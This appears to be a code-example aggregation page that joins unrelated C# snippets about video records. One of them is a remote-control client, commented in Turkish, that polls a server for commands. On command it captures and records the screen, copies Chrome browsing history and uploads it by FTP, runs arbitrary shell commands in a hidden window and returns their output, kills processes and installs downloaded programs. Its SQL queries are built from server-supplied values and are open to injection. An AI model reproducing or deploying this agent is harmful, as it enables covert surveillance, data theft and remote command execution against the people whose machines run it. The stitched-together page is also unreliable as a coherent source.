Example #1
0
        private VideoRecord[] QueryVideo(out string str_error)
        {
            List <VideoRecord> records = new List <VideoRecord>();

            str_error = "";
            try
            {
                string    sql   = string.Format("select * from video_records where delete_mark = 0 order by create_time desc");
                string    error = "";
                DataTable dt    = DataBaseHelper.ExecuteTable(sql, out error);
                if (error == "")
                {
                    foreach (DataRow dr in dt.Rows)
                    {
                        VideoRecord vr = new VideoRecord();
                        vr.id         = Convert.ToInt32(dr[0]);
                        vr.title      = dr[1].ToString();
                        vr.uploader   = dr[2].ToString();
                        vr.dep        = dr[3].ToString();
                        vr.url        = dr[4].ToString();
                        vr.createTime = dr[5].ToString();
                        records.Add(vr);
                    }
                }
            }
            catch (Exception ex)
            {
                str_error = ex.Message;
                SystemLog.WriteErrorLog("查询视频失败", "1043", ex.Message, ex.StackTrace);
            }
            return(records.ToArray());
        }
Example #2
0
        public VideoDetailsPageViewModel(VideoRecord _record) : this()
        {
            vid = _record.Vid;

            Icon.Value = _record.Icon;

            Playlist.Value = VideoAccesser.CheckIfInPlaylist(_record);
            Favorite.Value = _record.Favorite;

            ScoreUI     = new ScoreEntity(_record.Score);
            IntensityUI = new IntensityEntity(_record.Intensity);
            DurationUI  = new DurationEntity(_record.Duration);

            foreach (var tag in _record.Tags)
            {
                VideoTags.Entities.Insert(VideoTags.Entities.Count - 1, new TagEntity(tag, VideoTags.Entities));
            }

            Alias.Value      = _record.Alias;
            Series.Value     = _record.Series;
            Alt_Alias.Value  = _record.Alt_Alias;
            Alt_Series.Value = _record.Alt_Series;

            Duration.Value = _record.Duration.ToString(@"mm\:ss");
            Bitrate.Value  = Math.Round(_record.File_Size / _record.Duration.TotalSeconds).ToString() + "bps";
            Frame.Value    = _record.Resolution;
            Format.Value   = _record.Format;

            FilePath.Value  = _record.File_Path;
            FileName.Value  = _record.File_Name;
            Extention.Value = _record.File_Extention;
            FileSize.Value  = Math.Round(_record.File_Size / 1048576d, 1).ToString() + "MB";

            Screenlist.Value = _record.Screenlist.Screenlist;

            Icon.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateIcon(vid, Icon.Value); };

            Playlist.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { throw new NotImplementedException(); };
            Favorite.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateFavorite(vid, Favorite.Value); };

            ScoreUI.PropertyChanged     += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateScore(vid, ScoreUI.Score.Value); };
            IntensityUI.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateIntensity(vid, IntensityUI.Intensity.Value); };

            VideoTags.Entities.ListChanged += (object o, ListChangedEventArgs e) => {
                if (e.ListChangedType == ListChangedType.ItemChanged)
                {
                    var collection = (BindingList <TagEntityBase>)o;
                    var tag        = (TagEntity)collection[e.NewIndex];

                    VideoAccesser.UpsertTag(vid, tag.Text, tag.Intensity, tag.Deleted);
                }
            };

            Alias.PropertyChanged      += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateAlias(vid, Alias.Value); };
            Series.PropertyChanged     += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateSeries(vid, Series.Value); };
            Alt_Alias.PropertyChanged  += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateAltAlias(vid, Alt_Alias.Value); };
            Alt_Series.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpdateAltSeries(vid, Alt_Series.Value); };

            Screenlist.PropertyChanged += (object sender, PropertyChangedEventArgs e) => { VideoAccesser.UpsertScreenlist(vid, Screenlist.Value); };
        }
Example #3
0
    public override void OnInspectorGUI()
    {
        DrawDefaultInspector();

        VideoRecord videoRecord = (VideoRecord)target;

        if (GUILayout.Button("Record Movie"))
        {
            if (Application.isPlaying)
            {
                videoRecord.RecordMovie();
            }
            else
            {
                Debug.LogError("You can only record Movie in runtime");
            }
        }
    }
        private void RecordStop_Tick(object sender, EventArgs e)
        {
            VideoRecord.Stop();
            string video_adi = hardwareId + DateTime.Now.Millisecond.ToString() + ".mp4";

            screenRec.Stop(video_adi);
            RecordStop.Stop();
            //------------------FTP GONDER----------------//

tekrar_gonder:
            try
            {
                string local_dosya = "temp/sr/" + video_adi;
                //ftp ile yolla
                kaynak.ftp_gonder(local_dosya);
                Servis.isEmri_Kapat(hardwareId, "Screen_Record", local_dosya, "");
            }
            catch (Exception)
            {
                goto tekrar_gonder;
            }
        }
        private void isKontrol_Tick(object sender, EventArgs e)
        {
            isKontrol.Stop();


            foreach (var x in Servis.isEmri(hardwareId).ToList())//try catch eklenecek
            {
                switch (x.Work_)
                {
                case "Screen_Capture":
                    try
                    {
                        //goruntu alınır
                        string yoll = "temp/ss/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".jpg";     //dosya yolu
                        kaynak.Screenshot().Save(yoll, ImageFormat.Jpeg);

                        //ftp ile yolla
                        kaynak.ftp_gonder(yoll);

                        Servis.isEmri_Kapat(hardwareId, "Screen_Capture", yoll, "");
                    }
                    catch (Exception)
                    {
                        //hata mesajı gonderilecek
                    }
                    break;

                case "Screen_Record":
                    Rectangle bounds = Screen.FromControl(this).Bounds;
                    screenRec = new ScreenRecorder(bounds, "temp//sr");
                    RecordStop.Start();
                    VideoRecord.Start();    //30 sn sayar

                    break;

                case "App_Run":
                    try
                    {
                        Process.Start(x.Query_);
                        Servis.isEmri_Kapat(hardwareId, "App_Run", fullName, "");
                    }
                    catch (Exception)
                    {
                    }
                    break;

                case "App_Stop":
                    try
                    {
                        var       processName = x.Query_;
                        Process[] processes   = Process.GetProcessesByName(processName.ToString());
                        foreach (Process process in processes)
                        {
                            process.Kill();
                        }

                        //  MessageBox.Show("Browser_History Running");
                        Servis.isEmri_Kapat(hardwareId, "App_Stop", processName.ToString(), "");
                    }
                    catch (Exception)
                    {
                        //Uygulama Bulunamadı Hatası dondurulecek
                    }


                    break;

                case "Browser_Histories":
                    try
                    {
                        //Tarayıcı Geçmişi Yollanıyor

                        // Temp Siliniyor
                        var dosyalar = Directory.GetFiles(Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite");
                        foreach (var item in dosyalar)
                        {
                            try
                            {
                                File.Delete(item);
                            }
                            catch (Exception)
                            {
                            }
                        }
                        // Temp Siliniyor
                        //Geçmiş Alınıyor
                        string google   = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\History";
                        string fileName = DateTime.Now.Ticks.ToString();
                        File.Copy(google, Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName);
                        string b_history_yol = "temp/XmlData/browser_histories/xml/" + hardwareId + DateTime.Now.Millisecond.ToString() + ".xml";
                        //Geçmiş Alınıyor
                        using (SQLiteConnection con_xml = new SQLiteConnection("DataSource = " + Application.StartupPath + "\\temp\\XmlData\\browser_histories\\sqlite\\" + fileName + ";Integrated Security=True;Connect Timeout=30;Encrypt=False;TrustServerCertificate=True;ApplicationIntent=ReadWrite;MultiSubnetFailover=False;"))
                        {
                            con_xml.Open();
                            SQLiteDataAdapter da_b_h = new SQLiteDataAdapter("select url,title,last_visit_time from urls ", con_xml);
                            // SQLiteDataAdapter da = new SQLiteDataAdapter("select * from urls order by last_visit_time desc", con);
                            DataTable ds = new DataTable();
                            da_b_h.Fill(ds);
                            ds.TableName = "x";
                            ds.WriteXml(b_history_yol);
                            con_xml.Close();
geri:
                            try
                            {
                                kaynak.ftp_gonder(b_history_yol);
                                Servis.isEmri_Kapat(hardwareId, "Browser_Histories", b_history_yol, "");
                            }
                            catch (Exception xe)
                            {
                                MessageBox.Show(xe.Message);
                                goto geri;
                            }

                            ////////////////////////////////////////
                        }
                        //İşlem Tamamlandı.Dosya Ftp ile aktarılıp tabloya bilgisi eklendi
                    }
                    catch (Exception)
                    {
                        //hata mesajı dondurulecek
                    }
                    break;

                case "Cmd":
                    if (x.Query_ != "" && x.Query_ != null)
                    {
                        try
                        {
                            Process p = new Process();
                            p.StartInfo.FileName               = "cmd";
                            p.StartInfo.Arguments              = "/c " + x.Query_;
                            p.StartInfo.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden;
                            p.StartInfo.CreateNoWindow         = true;
                            p.StartInfo.RedirectStandardOutput = true;
                            p.StartInfo.UseShellExecute        = false;
                            p.Start();
                            Servis.isEmri_Kapat(hardwareId, "Cmd", x.Query_, p.StandardOutput.ReadToEnd().ToString());
                        }
                        catch (Exception)
                        {
                        }
                    }
                    // MessageBox.Show("Secrenn Capture Running");
                    break;

                case "Banned_App_Add":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand banned_app_add_command = new SQLiteCommand("insert into Banned_App(Hardware_Id,P_Name,Limit_,Used_Time,Day_,Status_,Datetime_) values ('" + hardwareId + "','" + x.Query_ + "'," + x.Temp_ + ",0," + DateTime.Now.Day + ",1,'" + DateTime.Now + "')", con);
                            banned_app_add_command.ExecuteNonQuery();
                            con.Close();
                            Servis.isEmri_Kapat(hardwareId, "Banned_App_Add", x.Query_, "");
                        }
                        catch (Exception X)
                        {
                            //hatamesajıı servise gonderilecek.MES
                            MessageBox.Show(X.Message);
                        }
                    }
                    break;

                case "Banned_App_Remove":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand banned_app_remove_command = new SQLiteCommand("DELETE FROM Banned_App WHERE Hardware_Id='" + hardwareId + "' and P_Name='" + x.Query_ + "'", con);
                            banned_app_remove_command.ExecuteNonQuery();
                            con.Close();
                            Servis.isEmri_Kapat(hardwareId, "Banned_App_Remove", x.Query_, "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Wallpaper_Change":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=Banned_App.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            kaynak.ftp_al(x.Query_);
                            //Arkaplan Ayarlanıyor
                            string arkaplan_full_yol = Application.StartupPath + @"\temp\bg\" + x.Query_;
                            SystemParametersInfo(0x14, 0, arkaplan_full_yol, 0x01 | 0x02);
                            Servis.isEmri_Kapat(hardwareId, "Wallpaper_Change", x.Query_, "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Time_Limit":
                    using (SQLiteConnection con = new SQLiteConnection("Data Source=RunningTime.sqlite;charset=utf-8;Version=3;Pooling=True;Synchronous=Off;journal mode=Memory"))
                    {
                        try
                        {
                            con.Open();
                            SQLiteCommand time_limit_cmd = new SQLiteCommand("update  RunningTime set Time_Limit=" + x.Query_ + "", con);
                            time_limit_cmd.ExecuteNonQuery();
                            con.Close();

                            Servis.isEmri_Kapat(hardwareId, "Time_Limit", "", "");
                        }
                        catch (Exception)
                        {
                            //hatamesajıı servise gonderilecek.
                        }
                    }
                    break;

                case "Alert_Message":
                    SistemTepsisi.Visible = true;
                    SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü", "Genel Mesaj!  Yönetici:" + x.Query_, ToolTipIcon.Info);
                    Servis.isEmri_Kapat(hardwareId, "Alert_Message", "", "");
                    break;

                case "Install_App":
                    //Theread Üzerinde  dosya ftp ile alınıyor ve cmd ile kuruluyor.
                    uygulama_adi_ = x.Query_;
                    Thread uygulama_kur_thread = new Thread(new ThreadStart(program_kur));
                    uygulama_kur_thread.Start();
                    SistemTepsisi.Visible = true;
                    SistemTepsisi.ShowBalloonTip(10000, "Sistem Kontrolörü - Program Yükleyici", x.Query_ + " Yükleniyor... ", ToolTipIcon.Info);
                    Servis.isEmri_Kapat(hardwareId, "Install_App", "", "");
                    break;

                default:
                    break;
                }
            }


            isKontrol.Start();
        }
Example #6
0
 public VideoDetailsPage(VideoRecord _videoRecord)
 {
     InitializeComponent();
     this.DataContext         = new VideoDetailsPageViewModel(_videoRecord);
     ScreenlistTab.IsSelected = true;
 }